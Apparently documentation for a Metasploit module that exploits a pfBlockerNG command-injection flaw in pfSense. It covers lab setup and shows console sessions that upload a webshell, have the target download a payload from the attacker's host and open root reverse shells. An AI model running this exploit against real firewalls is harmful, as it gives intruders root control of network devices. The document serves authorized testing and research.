## Vulnerable Application

### Description
This module exploits a vulnerability in the pfSense plugin, pfBlockerNG that allows remote unauthenticated
attackers to execute execute arbitrary OS commands as root via shell meta characters in the HTTP Host header.
Versions <= 2.1.4_26 are vulnerable. Note that version 3.x is unaffected.

### Setup
Download the pfSense image:

`wget https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz`

To obtain a vulnerable copy of the pfBlockerNG plugin, you can build it from source from the [official pfSense github
repo](https://github.com/pfsense/FreeBSD-ports/tree/devel/net/pfSense-pkg-pfBlockerNG), or it can be downloaded from
the following link:

`wget https://files01.netgate.com/pkg/pfSense_plus-v21_09_aarch64-pfSense_plus_v21_09/All/pfSense-pkg-pfBlockerNG-2.1.4_26.pkg`

Install the .iso file in your favorite virtualizing software. You may need to use the `UEFI` or `BIOS` installation
options to install the software correctly. For testing, `BIOS` was used. You may also need to set the WAN settings.
For this you can just use the default or set it to `hn0` which should also be the default, and this will work fine for
testing purposes.

Once installed pfSense will start and you can access the web GUI by navigating to `https://<pfSense-IP-address>/`.
Sign into the application with username: `admin` password: `pfsense`

Now at the top of the screen select System -> Advanced. Scroll down to the section named Secure Shell and tick the box
beside `Enable Secure Shell`. Then click the `Save` button at the bottom of the page to apply the changes.

From your host machine we can now transfer the vulnerable package to the pfSense VM using `scp`

`scp pfSense-pkg-pfBlockerNG-2.1.4_26.pkg root@<pfSense-IP-address>:/`

(the root password of the VM will be the same as the admin password: `pfsense`)

Install the vulnerable package with: `pkg install pfSense-pkg-pfBlockerNG-2.1.4_26.pkg`

## Options

### WEBSHELL_NAME

This is the name of the webshell that will get uploaded to the pfsense target sans the ".php" ending.
If left unset the file name will be randomly generated.

## Verification Steps

1. Start msfconsole
1. `use unix/http/pfsense_pfblockerng_webshell`
1. Set the `RHOST` and `LHOST` options
1. `exploit`
1. Receive a shell as the `root` user

## Scenarios
### pfSense 2.5.2-RELEASE with pfSense-pkg-pfBlockerNG-2.1.4_26.pkg installed
```
msf > use exploit/unix/http/pfsense_pfblockerng_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf exploit(unix/http/pfsense_pfblockerng_webshell) > set RHOSTS 172.23.40.111
RHOSTS => 172.23.40.111
msf exploit(unix/http/pfsense_pfblockerng_webshell) > set LHOST 172.23.47.143
LHOST => 172.23.47.143
msf exploit(unix/http/pfsense_pfblockerng_webshell) > set LPORT 4453
LPORT => 4453
msf exploit(unix/http/pfsense_pfblockerng_webshell) > set SRVPORT 8383
SRVPORT => 8383
msf exploit(unix/http/pfsense_pfblockerng_webshell) > show options

Module options (exploit/unix/http/pfsense_pfblockerng_webshell):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         172.23.40.111    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          443              yes       The target port (TCP)
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                              listen on all addresses.
   SRVPORT        8383             yes       The local port to listen on.
   SSL            true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                         no        The URI to use for this exploit (default is random)
   VHOST                           no        HTTP server virtual host
   WEBSHELL_NAME                   no        The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unse
                                             t.


Payload options (bsd/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST  172.23.47.143    yes       The listen address (an interface may be specified)
   LPORT  4453             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   BSD Dropper


msf exploit(unix/http/pfsense_pfblockerng_webshell) > run

[*] Started reverse TCP handler on 172.23.47.143:4453
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading shell...
[*] Webshell name is: zFOOjmPXX.php
[+] The target is vulnerable.
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://172.23.47.143:8383/ITtfiF
[*] Client 172.23.40.111 (curl/7.76.1) requested /ITtfiF
[*] Sending payload to 172.23.40.111 (curl/7.76.1)
[+] Deleted /usr/local/www/zFOOjmPXX.php
[*] Command shell session 1 opened (172.23.47.143:4453 -> 172.23.40.111:30301) at 2022-10-12 19:08:21 -0500

id
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Server stopped.

uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense  amd64
exit
msf exploit(unix/http/pfsense_pfblockerng_webshell) > set TARGET 0
TARGET => 0
msf exploit(unix/http/pfsense_pfblockerng_webshell) > show options

Module options (exploit/unix/http/pfsense_pfblockerng_webshell):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         172.23.40.111    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          443              yes       The target port (TCP)
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                              listen on all addresses.
   SRVPORT        9933             yes       The local port to listen on.
   SSL            true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                         no        The URI to use for this exploit (default is random)
   VHOST                           no        HTTP server virtual host
   WEBSHELL_NAME                   no        The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unse
                                             t.


Payload options (cmd/unix/reverse_openssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.23.47.143    yes       The listen address (an interface may be specified)
   LPORT  4545             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf exploit(unix/http/pfsense_pfblockerng_webshell) > run

[*] Started reverse double SSL handler on 172.23.47.143:4545
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading shell...
[*] Webshell name is: jIuhcpoe.php
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XqZbye7zG7tGBVWc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XqZbye7zG7tGBVWc\n"
[*] Matching...
[*] A is input...
[+] Deleted /usr/local/www/jIuhcpoe.php
[*] Command shell session 2 opened (172.23.47.143:4545 -> 172.23.40.111:33941) at 2022-10-12 19:22:13 -0500

id
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
```

